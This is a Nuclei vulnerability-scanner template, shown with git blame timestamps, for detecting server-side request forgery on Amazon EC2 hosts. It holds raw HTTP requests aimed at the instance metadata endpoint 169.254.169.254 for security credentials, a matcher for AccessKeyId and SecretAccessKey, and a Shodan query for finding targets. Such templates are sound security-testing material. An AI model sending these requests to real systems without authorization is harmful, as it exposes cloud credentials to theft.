nuclei-templates/http/vulnerabilities/amazon/amazon-ec2-ssrf.yaml

42 lines
988 B
YAML
Raw Normal View History

2022-12-18 14:23:30 +00:00
id: amazon-ec2-ssrf
2022-12-18 16:53:05 +00:00
2022-12-18 14:23:30 +00:00
info:
2022-12-22 05:33:37 +00:00
name: Amazon EC2 - Server-side request forgery (SSRF)
2022-12-18 14:23:30 +00:00
author: DhiyaneshDk
severity: critical
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score: 9.3
cwe-id: CWE-441
metadata:
max-request: 2
2022-12-22 05:33:37 +00:00
verified: true
2022-12-18 14:23:30 +00:00
shodan-query: "Server: EC2ws"
tags: aws,ec2,ssrf,amazon
http:
2022-12-18 14:23:30 +00:00
- raw:
- |+
GET {{BaseURL}}/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance HTTP/1.1
Host: {{Hostname}}
2022-12-18 16:53:05 +00:00
- |+
2022-12-23 17:56:07 +00:00
@tls-sni: {{Hostname}}
2022-12-18 16:53:05 +00:00
GET http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
2022-12-18 14:23:30 +00:00
unsafe: true
2022-12-18 16:53:05 +00:00
matchers-condition: and
2022-12-18 14:23:30 +00:00
matchers:
- type: word
part: body
words:
- "AccessKeyId"
- "SecretAccessKey"
condition: and
2022-12-18 16:53:05 +00:00
- type: status
status:
- 200